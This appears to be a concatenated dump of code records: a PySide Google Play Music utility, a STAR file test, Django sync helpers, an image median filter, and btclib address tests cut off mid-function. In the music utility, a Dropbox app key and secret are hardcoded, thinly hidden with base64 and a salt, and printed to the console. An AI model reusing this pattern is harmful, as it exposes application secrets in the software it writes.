sys.exit()\r\n\r\n if sys.argv[2].upper() == \"DROPBOX\":\r\n self.exportPurchasedSongs(None, sys.argv[3], True)\r\n else:\r\n self.exportPurchasedSongs(sys.argv[2], sys.argv[3])\r\n elif sys.argv[1] == \"/exportplaylist\":\r\n # Convert the export format to upper case\r\n sys.argv[4] = sys.argv[4].upper()\r\n \r\n if self.exportFormatIsValid(sys.argv[4]) == False:\r\n print(os.linesep + os.linesep + \"The export format \" + sys.argv[4] + \" is not valid.\")\r\n self.commandLineUsage(\"/exportplaylist\")\r\n sys.exit()\r\n self.playlists = self.mc.get_all_user_playlist_contents()\r\n\r\n self.loadLibrary()\r\n\r\n # Validate that the playlist is a valid one\r\n validPlaylist = False\r\n\r\n for playlist in self.playlists:\r\n if playlist[\"name\"] == sys.argv[2]:\r\n validPlaylist = True\r\n\r\n if validPlaylist == False:\r\n print(os.linesep + os.linesep + \"The playlist \" + sys.argv[2] + \" does not exist\")\r\n self.commandLineUsage(\"/exportplaylist\")\r\n sys.exit()\r\n\r\n if sys.argv[3].upper() == \"DROPBOX\":\r\n self.exportPlaylist(sys.argv[2], None, sys.argv[4], True)\r\n else:\r\n self.exportPlaylist(sys.argv[2], sys.argv[3], sys.argv[4])\r\n elif sys.argv[1] == \"/exportallplaylists\":\r\n # Convert the export format to upper case\r\n sys.argv[3] = sys.argv[3].upper()\r\n\r\n if self.exportFormatIsValid(sys.argv[3]) == False:\r\n print(os.linesep + os.linesep + \"The export format \" + sys.argv[3] + \" is not valid.\")\r\n self.commandLineUsage(\"/exportallplaylists\")\r\n sys.exit()\r\n\r\n self.playlists = self.mc.get_all_user_playlist_contents()\r\n\r\n self.loadLibrary()\r\n\r\n if sys.argv[2].upper() == \"DROPBOX\":\r\n self.exportAllPlaylists(None, sys.argv[3], True)\r\n else:\r\n self.exportAllPlaylists(sys.argv[2], sys.argv[3])\r\n elif sys.argv[1] == \"/findduplicates\":\r\n # Validate that both playlists are valid ones`\r\n \r\n # First playlist argument\r\n validPlaylist = False\r\n \r\n self.playlists = self.mc.get_all_user_playlist_contents()\r\n\r\n for playlist in self.playlists:\r\n if playlist[\"name\"] == sys.argv[2]:\r\n validPlaylist = True\r\n\r\n if validPlaylist == False:\r\n print(os.linesep + os.linesep + \"The playlist \" + sys.argv[2] + \" does not exist\")\r\n self.commandLineUsage(\"/findduplicates\")\r\n sys.exit()\r\n\r\n # Second playlist\r\n validPlaylist = False\r\n \r\n self.playlists = self.mc.get_all_user_playlist_contents()\r\n\r\n for playlist in self.playlists:\r\n if playlist[\"name\"] == sys.argv[3]:\r\n validPlaylist = True\r\n\r\n if validPlaylist == False:\r\n print(os.linesep + os.linesep + \"The playlist \" + sys.argv[3] + \" does not exist\")\r\n self.commandLineUsage(\"/findduplicates\")\r\n sys.exit()\r\n\r\n # We need to load the library because we have to get all of the track information\r\n self.loadLibrary()\r\n \r\n if sys.argv[4].upper() == \"DROPBOX\":\r\n self.findDuplicateTracksInPlaylist(sys.argv[2], sys.argv[3],True,True)\r\n else:\r\n self.findDuplicateTracksInPlaylist(sys.argv[2], sys.argv[3], True,False,sys.argv[4])\r\n elif sys.argv[1] == \"/recentlyadded\":\r\n # Convert the export format to upper case\r\n sys.argv[4] = sys.argv[4].upper()\r\n\r\n if self.exportFormatIsValid(sys.argv[4]) == False:\r\n print(os.linesep + os.linesep + \"The export format \" + sys.argv[4] + \" is not valid.\")\r\n self.commandLineUsage(\"/recentlyadded\")\r\n sys.exit()\r\n\r\n try:\r\n # This will raise ValueError if sys.argv[2] is not a valid date\r\n asofDate = datetime.datetime.strptime(sys.argv[2], '%m/%d/%Y')\r\n asofDate = asofDate.date()\r\n\r\n # Load library\r\n self.loadLibrary()\r\n\r\n # Call buildRecentlyAddedWindow() to save the file\r\n if sys.argv[3].upper() == \"DROPBOX\":\r\n self.buildRecentlyAddedWindow(asofDate, None, sys.argv[4], True)\r\n else:\r\n self.buildRecentlyAddedWindow(asofDate, sys.argv[3], sys.argv[4])\r\n except ValueError:\r\n print(os.linesep + os.linesep + \"The recently added date \" + sys.argv[2] + \" is not valid\")\r\n self.commandLineUsage(\"/recentlyadded\")\r\n sys.exit()\r\n elif sys.argv[1] == \"/renameplaylist\":\r\n self.playlists = self.mc.get_all_user_playlist_contents()\r\n\r\n # Validate that the playlist name provided is valid\r\n validPlaylist = False\r\n\r\n for playlist in self.playlists:\r\n if playlist[\"name\"] == sys.argv[2]:\r\n validPlaylist = True\r\n\r\n if validPlaylist == False:\r\n print(os.linesep + os.linesep + \"The playlist \" + sys.argv[2] + \" does not exist\")\r\n self.commandLineUsage(\"/renameplaylist\")\r\n sys.exit()\r\n\r\n # Validate that the new playlist name provided is not an existing playlist name\r\n validPlaylist = False\r\n\r\n for playlist in self.playlists:\r\n if playlist[\"name\"] == sys.argv[3] and AllowDuplicatePlaylistNames == False:\r\n print(os.linesep + os.linesep + \"The new playlist name \" + sys.argv[2] + \" already exists. Please use /deleteplaylist first to delete the playlist\")\r\n self.commandLineUsage(\"/renameplaylist\")\r\n sys.exit()\r\n\r\n self.duplicatePlaylist(sys.argv[2], sys.argv[3], True)\r\n\r\n sys.exit()\r\n\r\n # Perform Dropbox authentication so we can read and write to it\r\n def performDropboxOAuth(self):\r\n dropBoxFilename = \"DropboxOauth.cred\"\r\n \r\n dbx = dropbox.Dropbox(base64.b64decode(\"bFJ6Sjl5ZHI3TWtBQUFBQUFBQjNaWjE0MTFsbk1JeDYyMVdnaUpDcFBGUWZ3Vk5xSWhDdEtBRFhoVFJhbm1jclZwTmJockRoZ1dSanBMenlhWklTaG1QcXU=\").replace(self.salt,\"\"))\r\n \r\n # If the Dropbox oauth access code file doesn't exist, initiate the Oauth process through Dropbox\r\n if os.path.isfile(dropBoxFilename) == False:\r\n flow = DropboxOAuth2FlowNoRedirect(base64.b64decode(\"NXVubTRvMm9idnRpNjhvVnBOYmhyRGhnV1JqcEx6eWFaSVNobVBxdQ==\").replace(self.salt,\"\"),base64.b64decode(\"Mm9ncGllaXg2ZG9vOG51VnBOYmhyRGhnV1JqcEx6eWFaSVNobVBxdQ==\").replace(self.salt,\"\"))\r\n print(\"Step 2: \" + base64.b64decode(\"NXVubTRvMm9idnRpNjhvVnBOYmhyRGhnV1JqcEx6eWFaSVNobVBxdQ==\").replace(self.salt,\"\"))\r\n print(\"Step 3: \" + base64.b64decode(\"Mm9ncGllaXg2ZG9vOG51VnBOYmhyRGhnV1JqcEx6eWFaSVNobVBxdQ==\").replace(self.salt,\"\"))\r\n authorize_url = flow.start()\r\n\r\n # Allow OAuth prompt to be displayed in console\r\n if len(sys.argv) == 1:\r\n self.messageBox(\"Dropbox OAuth\", \"When you click on OK, this script will open a web browser window asking you to allow GMusicUtility to connect to your Dropbox account (you might have to log in first). Please click on Allow and copy the authorization code into the command prompt window\")\r\n webbrowser.open(authorize_url)\r\n else:\r\n print(\"Please log into DropbBox in your browser and then visit the URL \" + authorize_url + \". After allowing Google Play Music Utility, paste the code here.\")\r\n\r\n if sys.version_info[0] == 2:\r\n code = raw_input(\"Enter the authorization code here: \")\r\n else:\r\n code = input(\"Enter the authorization code here: \")\r\n\r\n # This will fail if the user enters an invalid authorization code\r\n try:\r\n access_token = flow.finish(code)\r\n except dbrest.ErrorResponse as e:\r\n print('DropBox Error: %s' % e)\r\n return False\r\n\r\n self.dropBoxClient = dropbox.Dropbox(access_token.access_token)\r\n\r\n dbaccess = open(dropBoxFilename, \"w\")\r\n dbaccess.write(access_token.access_token)\r\n dbaccess.close()\r\n else:\r\n dbaccess = open(dropBoxFilename, \"r\")\r\n access_token = dbaccess.readline()\r\n dbaccess.close()\r\n\r\n try:\r\n self.dropBoxClient = dropbox.Dropbox(access_token)\r\n except:\r\n if len(sys.argv) == 1:\r\n self.messageBox(\"Dropbox authentication failed\", \"Your Dropbox authentication has failed. Please make sure that you entered a valid code.\")\r\n else:\r\n print(\"Your Dropbox authentication has failed. Please make sure that you entered a valid code.\")\r\n\r\n return False\r\n\r\n # Perform Google OAuth authentication because we need to use OAuth when using the Musicmanager interface\r\n def performGoogleOAuth(self):\t\t \r\n if os.path.isfile(self.GoogleMMOAuthCredFile) == False:\r\n try:\r\n print(\"Trying to auth because no existing file\")\r\n self.mm.perform_oauth(self.GoogleMMOAuthCredFile, True)\r\n except:\r\n print(\"Exception occurred\")\r\n if len(sys.argv) == 1:\r\n self.messageBox(\"Google Play Music authentication failed\", \"Your Google Play Music authentication has failed. Please make sure that you entered a valid code.\")\r\n return False \r\n else:\r\n print(\"Your Google Play Music authentication has failed. Please make sure that you entered a valid code.\")\r\n return False\r\n \r\n return True\r\n else:\r\n try:\r\n # Login using GoogleOAuth.cred\r\n self.mm.login(self.GoogleMMOAuthCredFile)\r\n except AlreadyLoggedIn:\r\n return True\r\n except ValueError:\r\n print(\"Value Error\")\r\n except OSError:\r\n print(\"OS Error\")\r\n except Exception as e:\r\n print(e);\r\n return False\r\n\r\n return True\r\n\r\n # Event when the user chooses an item from the playlist ComboBox\r\n def playlistComboBoxChange(self):\r\n # These playlist tasks don't require the user to pick the export format\r\n if str(self.playlistTaskComboBox.currentText()) == \"Delete a playlist\":\r\n self.playlistExportFormatComboBox.hide()\r\n self.playlistExportFormatLabel.hide()\r\n self.deletePlaylist(str(self.playlistComboBox.currentText()), True)\r\n\r\n # Reset the layout\r\n self.resetLayout()\r\n elif str(self.playlistTaskComboBox.currentText()) == \"Duplicate a playlist\":\r\n self.playlistExportFormatComboBox.hide()\r\n self.playlistExportFormatLabel.hide()\r\n self.duplicatePlaylist(str(self.playlistComboBox.currentText()))\r\n\r\n # Reset the layout\r\n self.resetLayout()\r\n elif str(self.playlistTaskComboBox.currentText()) == \"Reorder a playlist\":\r\n self.playlistExportFormatComboBox.hide()\r\n self.playlistExportFormatLabel.hide()\r\n self.buildReorderPlaylistWindow(str(self.playlistComboBox.currentText()))\r\n\r\n # Reset the layout\r\n self.resetLayout()\r\n elif str(self.playlistTaskComboBox.currentText()) == \"Rename a playlist\":\r\n self.playlistExportFormatComboBox.hide()\r\n self.playlistExportFormatLabel.hide()\r\n self.duplicatePlaylist(str(self.playlistComboBox.currentText()), None, True)\r\n\r\n # Reset the layout\r\n self.resetLayout()\r\n elif str(self.playlistTaskComboBox.currentText()) == \"Download all songs in a playlist\":\r\n self.playlistExportFormatComboBox.hide()\r\n self.playlistExportFormatLabel.hide()\r\n self.downloadPlaylistToDirectory(str(self.playlistComboBox.currentText()))\r\n\r\n # Reset the layout\r\n self.resetLayout()\r\n elif str(self.playlistTaskComboBox.currentText()) == \"Find duplicates tracks in playlists\":\r\n # If either or both playlist dropdowns don't have a playlist selected do nothing\r\n if self.playlistComboBox.currentText() == \"\" or self.playlistComboBox2.currentText() == \"\":\r\n return\r\n \r\n # If both playlist dropdowns have a playlist selected and they are the same playlist\r\n if self.playlistComboBox.currentText() == self.playlistComboBox2.currentText():\r\n self.messageBox(\"Find duplicates tracks in playlists\",\"You cannot compare a playlist to itself. Please select 2 different playlists to compare\")\r\n \r\n # Clear the value of the last selected playlist based on which object triggered this event\r\n if self.sender().objectName()==\"playlistComboBox\":\r\n self.playlistComboBox.setCurrentIndex(-1)\r\n else:\r\n self.playlistComboBox2.setCurrentIndex(-1)\r\n\r\n return\r\n else:\r\n self.findDuplicateTracksInPlaylist(self.playlistComboBox.currentText(),self.playlistComboBox2.currentText())\r\n else:\r\n # If the Playlist Export Format is already selected, trigger the event\r\n if self.playlistExportFormatComboBox.isHidden() == False and self.playlistExportFormatComboBox.currentIndex() != -1:\r\n if str(self.playlistTaskComboBox.currentText()) == \"Export a playlist\":\r\n # If export format is not selected exit \r\n if self.playlistExportFormatComboBox.currentIndex() == -1 or self.playlistExportFormatComboBox.currentIndex() == 0:\r\n return\r\n \r\n self.exportPlaylist(playlistName=str(self.playlistComboBox.currentText()), exportFormat=self.playlistExportFormatComboBox.currentText())\r\n\r\n self.resetLayout()\r\n return\r\n elif str(self.playlistTaskComboBox.currentText()) == \"Export all playlists\":\r\n self.exportAllPlaylists(None, self.playlistExportFormatComboBox.currentText())\r\n\r\n self.resetLayout()\r\n return\r\n\r\n # Event when the user clicks on a format to export to\r\n def playlistExportFormatComboBoxChange(self):\r\n if str(self.playlistTaskComboBox.currentText()) == \"Export a playlist\":\r\n # If no playlist is selected, do nothing\r\n if self.playlistComboBox.currentIndex() == -1 or self.playlistComboBox.currentIndex() == 0:\r\n return\r\n\r\n self.exportPlaylist(str(self.playlistComboBox.currentText()), None, str(self.playlistExportFormatComboBox.currentText()))\r\n\r\n # Reset the layout\r\n self.resetLayout()\r\n elif str(self.playlistTaskComboBox.currentText()) == \"Export all playlists\":\r\n self.exportAllPlaylists(None, str(self.playlistExportFormatComboBox.currentText()))\r\n\r\n # Reset the layout\r\n self.resetLayout()\r\n\r\n # Event when the user chooses a playlist related task\r\n def playlistTaskComboBoxChange(self, optionItem):\r\n # If Delete a Playlist,Download all songs in a playlist,Duplicate a Playlist or Export a Playlist is selected,show the playlist ComboBox and wait for the user to select a playlist\r\n # The only exception is Export all playlists which requires that the user only select the export format\r\n if optionItem == \"Delete a playlist\" or optionItem == \"Download all songs in a playlist\" or optionItem == \"Duplicate a playlist\" or optionItem == \"Export a playlist\" or optionItem == \"Reorder a playlist\" or optionItem == \"Rename a playlist\" or optionItem == \"Find duplicates tracks in playlists\":\r\n\t\t # Only this option from the ones above require the export format to be shown\r\n if optionItem == \"Export a playlist\":\r\n self.playlistComboBox.show()\r\n self.playlistExportFormatLabel.show()\r\n\r\n # unset and show Export as ComboBox\r\n if optionItem != \"Download all songs in a playlist\":\r\n self.playlistExportFormatComboBox.setCurrentIndex(-1)\r\n self.playlistExportFormatComboBox.show()\r\n else:\r\n self.playlistExportFormatComboBox.hide()\r\n self.playlistExportFormatLabel.hide()\r\n \r\n # When this option is selected, we modify the label\r\n if optionItem == \"Find duplicates tracks in playlists\":\r\n self.playlistLabel.setText(\"1st Playlist\")\r\n self.playlistLabel2.show()\r\n self.playlistComboBox2.show()\r\n \r\n self.playlistLabel.show()\r\n self.playlistComboBox.show()\r\n\r\n return\r\n elif optionItem == \"Export all playlists\":\r\n self.playlistLabel.hide()\r\n self.playlistComboBox.hide()\r\n\r\n self.playlistExportFormatComboBox.show()\r\n self.playlistExportFormatLabel.show()\r\n\r\n # self.exportAllPlaylists()\r\n #self.resetLayout()\r\n\r\n return\r\n elif optionItem == \"Create a playlist from CSV\":\r\n self.createPlaylistFromCSV()\r\n self.loadPlaylists()\r\n\r\n self.resetLayout()\r\n else: # Nothing selected\r\n self.resetLayout()\r\n\r\n # Dialog to prompt for the save location (Currently locally or Dropbox)\r\n def promptForSaveFormat(self):\r\n # This function returns \"CSV\" , \"HTML\" or \"Cancel\"\r\n\r\n # Create custom dialog to prompt user where to save the playlist\r\n custDialog = QMessageBox()\r\n custDialog.setText(\"Please choose the export format\")\r\n custDialog.setWindowTitle(\"Export Format\")\r\n custDialog.addButton(self.tr(\"CSV\"), QMessageBox.YesRole)\r\n custDialog.addButton(self.tr(\"HTML\"), QMessageBox.NoRole)\r\n custDialog.addButton(self.tr(\"Cancel\"), QMessageBox.RejectRole)\r\n ret = custDialog.exec_()\r\n\r\n if ret == 0:\r\n return \"CSV\"\r\n elif ret == 1:\r\n return \"HTML\"\r\n elif ret == 2:\r\n return \"Cancel\"\r\n \r\n # Dialog to prompt for the save location (Currently locally or Dropbox)\r\n def promptForSaveLocation(self):\r\n # This function returns \"Locally\" , \"Dropbox\" or \"Cancel\"\r\n\r\n # Create custom dialog to prompt user where to save the playlist\r\n custDialog = QMessageBox()\r\n custDialog.setText(\"Do you want to save the file locally or to Dropbox ?\")\r\n custDialog.setWindowTitle(\"Save location\")\r\n custDialog.addButton(self.tr(\"Locally\"), QMessageBox.YesRole)\r\n custDialog.addButton(self.tr(\"Dropbox\"), QMessageBox.NoRole)\r\n custDialog.addButton(self.tr(\"Cancel\"), QMessageBox.RejectRole)\r\n ret = custDialog.exec_()\r\n\r\n if ret == 0:\r\n return \"Locally\"\r\n elif ret == 1:\r\n return \"Dropbox\"\r\n elif ret == 2:\r\n return \"Cancel\"\r\n\r\n # Event when the user selects a date in the recently added widget\r\n def recentlyAddedDateEditChange(self):\r\n # Use the values stored from the QDateEdit\r\n self.recentlyAddedYear = self.recentlyAddedDateEdit.date().year()\r\n\r\n self.recentlyAddedMonth = self.recentlyAddedDateEdit.date().month()\r\n\r\n self.recentlyAddedDay = self.recentlyAddedDateEdit.date().day()\r\n\r\n # Reset the As of Label and QDateEdit controls after a date has been selected\r\n self.recentlyAddedLabel.hide()\r\n\r\n self.recentlyAddedDateEdit.hide()\r\n\r\n self.libraryTaskComboBox.setCurrentIndex(-1)\r\n\r\n # Display the window with the table\r\n self.buildRecentlyAddedWindow()\r\n\r\n return True\r\n\r\n # Event when the user enters a date into recently added using the keyboard\r\n def recentlyAddedDateEditKeypress(self):\r\n # Disable keyboard events since this event is automatically triggered as soon as the date changes even when the user hasn't finished entering a date\r\n PySide.QtCore.QEvent.ignore()\r\n\r\n # Reset the layout of the window\r\n def resetLayout(self):\r\n self.playlistTaskComboBox.setCurrentIndex(-1)\r\n\r\n # When the user selects \"Find duplicates tracks in playlists\", we modify the playlist label to 1st Playlist. This will always restore it to its original value\r\n self.playlistLabel.setText(\"Playlist\")\r\n \r\n self.playlistLabel.hide()\r\n self.playlistComboBox.setCurrentIndex(-1)\r\n self.playlistComboBox.hide()\r\n self.playlistExportFormatLabel.hide()\r\n self.playlistExportFormatComboBox.setCurrentIndex(-1)\r\n self.playlistExportFormatComboBox.hide()\r\n\r\n self.libraryExportFormatLabel.hide()\r\n self.libraryExportFormatComboBox.hide()\r\n self.recentlyAddedDateEdit.hide()\r\n self.recentlyAddedLabel.hide()\r\n\r\n self.libraryTaskComboBox.setCurrentIndex(-1)\r\n self.libraryExportFormatComboBox.setCurrentIndex(-1)\r\n\r\n self.playlistLabel2.hide()\r\n self.playlistComboBox2.setCurrentIndex(-1)\r\n self.playlistComboBox2.hide()\r\n \r\n # String cleanser\r\n def sanitizeString(self,str,isFile=False):\r\n origStr=str\r\n\r\n # get index of period in filename based on index from the end of the file\r\n if str.find(\".\") != -1:\r\n extIndex=(len(str) - str.find(\".\"))*-1\r\n else:\r\n extIndex=-1\r\n\r\n str=slugify(str)\r\n \r\n if isFile == True:\r\n str=str.replace(\"-\",\" - \")\r\n \r\n if extIndex != -1 and origStr[extIndex] == \".\":\r\n str=str.replace(str[(extIndex+1):],\".\" + str[(extIndex+1):])\r\n else:\r\n str = str.replace(\"-\",\" \")\r\n\r\n str=str.title()\r\n\r\n if isFile == True:\r\n str=str.replace(str[(extIndex+1):],str[(extIndex+1):].lower())\r\n\r\n badChars = ['/','\\\\',':','*','?','\"','<','>','|']\r\n \r\n for currChar in badChars:\r\n str.replace(currChar,'_')\r\n\r\n return str\r\n\r\n # Show user dialog and return the result\r\n def showDialog(self, title, promptText):\r\n # the result of user input. It is \"\" when user clicks on ok without entering anything or None when they cancel the dialog\r\n result = None\r\n\r\n text, ok = QInputDialog.getText(self, title, promptText)\r\n\r\n if ok:\r\n return str(text)\r\n else:\r\n return None\r\n\r\n # Write data to file\r\n def writeData(self,fileName,exportFormat,data,extendedHeader=False):\r\n if exportFormat ==\"CSV\":\r\n with open(fileName, 'w') as f:\r\n csv.register_dialect('myDialect',delimiter = ',',quoting=csv.QUOTE_ALL,lineterminator = '\\n')\r\n\r\n writer = csv.writer(f, dialect='myDialect')\r\n\r\n if extendedHeader == False:\r\n writer.writerow(self.csvHeader)\r\n else:\r\n newCSVHeader=self.csvHeader\r\n newCSVHeader.append(\"Date Added\")\r\n newCSVHeader.append(\"File Size\")\r\n writer.writerow(newCSVHeader)\r\n\r\n for track in data:\r\n writer.writerow(track)\r\n elif exportFormat == \"HTML\":\r\n with open(fileName, 'w') as out:\r\n # Recently added has an extended header with 2 extra columns\r\n if extendedHeader == False:\r\n out.write(self.HTMLHeader)\r\n else:\r\n out.write(self.HTMLHeader.replace(\"\" + os.linesep,\"\" + os.linesep))\r\n \r\n for track in data:\r\n row=\"\"\r\n for num in range(0, len(track)):\r\n row+=\"\"\r\n\r\n row+=\"\" + os.linesep\t \r\n \r\n out.write(row)\r\n\r\n out.write(self.HTMLFooter)\r\n\r\n return fileName\r\n\r\napp = QApplication(sys.argv)\r\n\r\n\r\n# If the user specifies /help as a command line argument, display the usage without worrying if the login credentials are stored\r\nif len(sys.argv) == 2 and (sys.argv[1] == \"/help\" or sys.argv[1] == \"/?\"):\r\n gMusicUtility = GMusicUtility()\r\n sys.exit()\r\n\r\n # When login credentials aren't stored or set to defaults and command line arguments are being used, do not display login\r\n if len(sys.argv) > 1:\r\n print(\"Error: The login information is not stored. Please edit this script with your login information if you want to use command line arguments\")\r\n sys.exit()\r\n\r\nelse:\r\n gMusicUtility = GMusicUtility()\r\n\r\nsys.exit(app.exec_())\r\n","sub_path":"gMusicUtility42.py","file_name":"gMusicUtility42.py","file_ext":"py","file_size_in_byte":122887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"222284603","text":"\"\"\"\nUnit test execute as:\npython $CINGROOT/python/cing/STAR/test/test_SaveFrame.py\n\"\"\"\nfrom cing import cingDirTmp\nfrom cing.Libs.NTutils import * #@UnusedWildImport\nfrom cing.STAR.SaveFrame import SaveFrame\nfrom cing.STAR.TagTable import TagTable\nfrom unittest import TestCase\nimport unittest\n\n\nclass AllChecks(TestCase):\n cingDirTmpTest = os.path.join( cingDirTmp, 'test_SaveFrame' )\n mkdirs( cingDirTmpTest )\n os.chdir(cingDirTmpTest)\n\n\n sf = SaveFrame()\n tT = TagTable()\n tT.tagnames=['_File_characteristics.Sf_category']\n tT.tagvalues=[['file_characteristics']]\n sf.tagtables.append(tT)\n\n def test_check_integrity(self):\n self.assertFalse(self.sf.check_integrity())\n\n def test_STARrepresentation(self):\n # pylint: disable=C0301\n starTextExpected = \"\"\"\\nsave_general_sf_title\\n loop_\\n _File_characteristics.Sf_category\\n\\nfile_characteristics\\n\\n stop_\\n\\nsave_\\n\"\"\"\n# starTextExpected.replac(' \\n', new)\n starText = self.sf.star_text()\n self.assertEqual(starText, starTextExpected)\n \n def test_getSaveFrameCategory(self):\n sfCategory = \"file_characteristics\"\n self.assertEqual(self.sf.getSaveFrameCategory(), sfCategory)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"python/cing/STAR/test/test_SaveFrame.py","file_name":"test_SaveFrame.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"452404003","text":"from django.utils import timezone\n\nfrom .models import Doctor, Patient, Appointment\nfrom endpoints import PatientEndpoint, AppointmentEndpoint, DoctorEndpoint\n\ndef populate_doctors(endpoint):\n \"\"\"\n Populate Doctor table.\n \"\"\"\n for doctor_data in endpoint.list():\n data = {\n 'first_name': doctor_data['first_name'],\n 'last_name': doctor_data['last_name'],\n 'npi_number': doctor_data['npi_number'],\n 'profile_picture_url': doctor_data['profile_picture']\n }\n\n doctor, created = Doctor.objects.update_or_create(pk=doctor_data['id'], defaults=data)\n\ndef populate_patients(endpoint, doctor):\n \"\"\"\n Populate Patient table with patients belonging to the given doctor.\n \"\"\"\n patients = endpoint.list({'doctor': doctor.id})\n for patient_data in patients:\n data = {\n 'doctor': doctor,\n 'first_name': patient_data['first_name'],\n 'last_name': patient_data['last_name'],\n 'gender': patient_data['gender'],\n 'date_of_birth': patient_data['date_of_birth'],\n 'social_security_number': patient_data['social_security_number'],\n 'address': patient_data['address'],\n 'city': patient_data['city'],\n 'state': patient_data['state'],\n 'zip_code': patient_data['zip_code'],\n 'email': patient_data['email'],\n 'home_phone': patient_data['home_phone'],\n 'cell_phone': patient_data['cell_phone']\n }\n\n patient, created = Patient.objects.update_or_create(pk=patient_data['id'], defaults=data)\n\ndef populate_appointments(endpoint, doctor):\n \"\"\"\n Populate Appointment table with appointments belonging to the given doctor.\n \"\"\"\n date = timezone.now().strftime('%Y-%m-%d')\n\n appointments = endpoint.list({'doctor': doctor.id, 'date': date})\n for appointment_data in appointments:\n patient = Patient.objects.get(id=appointment_data['patient'])\n\n # simplify/clean statuses for project purposes\n status = appointment_data['status']\n if status not in ('Checked In', 'In Session', \n 'Complete', 'Cancelled'):\n status = ''\n\n\n data = {\n 'doctor': doctor,\n 'patient': patient,\n 'scheduled_time': appointment_data['scheduled_time'],\n 'duration': appointment_data['duration'],\n 'office': appointment_data['office'],\n 'exam_room': appointment_data['exam_room'],\n 'status': status,\n 'reason': appointment_data['reason']\n }\n\n appointment, created = Appointment.objects.update_or_create(\n defaults=data, pk=appointment_data['id'])\n\ndef get_avg_wait_time(doctor):\n \"\"\"\n Return average wait time for doctor for all appointments.\n \"\"\"\n num_appointments = 0\n total_wait_time = 0\n\n for app in Appointment.objects.filter(doctor=doctor.id):\n if app.wait_time is not None:\n num_appointments += 1\n total_wait_time += app.wait_time\n elif app.status == 'Checked In' and app.check_in_time:\n num_appointments += 1\n delta = (timezone.now() - app.check_in_time)\n wait_time = delta.total_seconds() // 60\n total_wait_time += wait_time\n\n if num_appointments:\n return (total_wait_time // num_appointments)\n else:\n return 0\n\ndef get_beaks(doctor):\n \"\"\"\n Populate breaks in doctor's daily schedule based on time and duration of current appointments. Uses cancelled appointment times as break times.\n \"\"\"\n pass\n","sub_path":"drchrono/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"125908602","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom skimage import io\n\n\ndef median(img):\n height, width= img.shape[:2]\n filtered_img = np.zeros(img.shape)\n\n _img = np.pad(img, [(1, 1), (1, 1), (0, 0)], \"edge\")\n for h in range(0, height):\n for w in range(0, width):\n for c in range(0, 3):\n filtered_img[h, w, c] = np.median(_img[h:h+3, w:w+3, c])\n\n return filtered_img.astype(np.uint8)\n\n\n\nimg = io.imread(\"./dataset/images/imori_256x256_noise.png\")\nans = median(img)\nplt.figure(figsize=(12, 3))\nplt.subplot(1, 2, 1)\nplt.title(\"input\")\nplt.imshow(img)\nplt.subplot(1, 2, 2)\nplt.title(\"answer\")\nplt.imshow(ans)\nplt.show()\n","sub_path":"answers/question10.py","file_name":"question10.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"178787398","text":"#!/usr/bin/env python3\n\n# Copyright (C) 2017-2020 The btclib developers\n#\n# This file is part of btclib. It is subject to the license terms in the\n# LICENSE file found in the top-level directory of this distribution.\n#\n# No part of btclib including this file, may be copied, modified, propagated,\n# or distributed except according to the terms contained in the LICENSE file.\n\nimport unittest\n\nfrom btclib import base58\nfrom btclib.address import (h160_from_base58_address, p2pkh_address,\n p2sh_address)\nfrom btclib.curves import secp256k1 as ec\nfrom btclib.script import encode\nfrom btclib.utils import hash160, octets_from_point, point_from_octets\n\n\nclass TestAddresses(unittest.TestCase):\n\n def test_p2pkh_address_from_pubkey(self):\n # https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses\n pub = '0250863ad64a87ae8a2fe83c1af1a8403cb53f53e486d8511dad8a04887e5b2352'\n addr = p2pkh_address(pub)\n self.assertEqual(addr, b'1PMycacnJaSqwwJqjawXBErnLsZ7RkXUAs')\n _, _, hash2 = h160_from_base58_address(addr)\n self.assertEqual(hash2, hash160(pub))\n\n uncompressed_pub = octets_from_point(\n point_from_octets(pub, ec), False, ec)\n addr = p2pkh_address(uncompressed_pub)\n self.assertEqual(addr, b'16UwLL9Risc3QfPqBUvKofHmBQ7wMtjvM')\n _, _, hash2 = h160_from_base58_address(addr)\n self.assertEqual(hash2, hash160(uncompressed_pub))\n\n # trailing/leading spaces in string\n pub = ' 0250863ad64a87ae8a2fe83c1af1a8403cb53f53e486d8511dad8a04887e5b2352'\n addr = p2pkh_address(pub)\n self.assertEqual(addr, b'1PMycacnJaSqwwJqjawXBErnLsZ7RkXUAs')\n _, _, hash2 = h160_from_base58_address(addr)\n self.assertEqual(hash2, hash160(pub))\n\n pub = '0250863ad64a87ae8a2fe83c1af1a8403cb53f53e486d8511dad8a04887e5b2352 '\n addr = p2pkh_address(pub)\n self.assertEqual(addr, b'1PMycacnJaSqwwJqjawXBErnLsZ7RkXUAs')\n\n\n def test_p2sh_address_from_script(self):\n # https://medium.com/@darosior/bitcoin-raw-transactions-part-2-p2sh-94df206fee8d\n script = ['OP_2DUP', 'OP_EQUAL', 'OP_NOT', 'OP_VERIFY',\n 'OP_SHA1', 'OP_SWAP', 'OP_SHA1', 'OP_EQUAL']\n script_bytes = encode(script)\n self.assertEqual(script_bytes.hex(), '6e879169a77ca787')\n\n network = 'mainnet'\n addr = p2sh_address(script_bytes, network)\n self.assertEqual(addr, b'37k7toV1Nv4DfmQbmZ8KuZDQCYK9x5KpzP')\n\n network2, is_p2sh, redeem_script_hash = h160_from_base58_address(addr)\n self.assertEqual(network, network2)\n self.assertTrue(is_p2sh)\n self.assertEqual(redeem_script_hash, hash160(script_bytes))\n\n self.assertEqual(redeem_script_hash.hex(),\n '4266fc6f2c2861d7fe229b279a79803afca7ba34')\n output_script = ['OP_HASH160', redeem_script_hash.hex(), 'OP_EQUAL']\n _ = encode(output_script)\n\n # address with trailing/leading spaces\n _, _, h2 = h160_from_base58_address(' 37k7toV1Nv4DfmQbmZ8KuZDQCYK9x5KpzP ')\n self.assertEqual(redeem_script_hash, h2)\n\n\n def test_exceptions(self):\n\n # Invalid base58 address prefix b'\\xf5'\n payload = 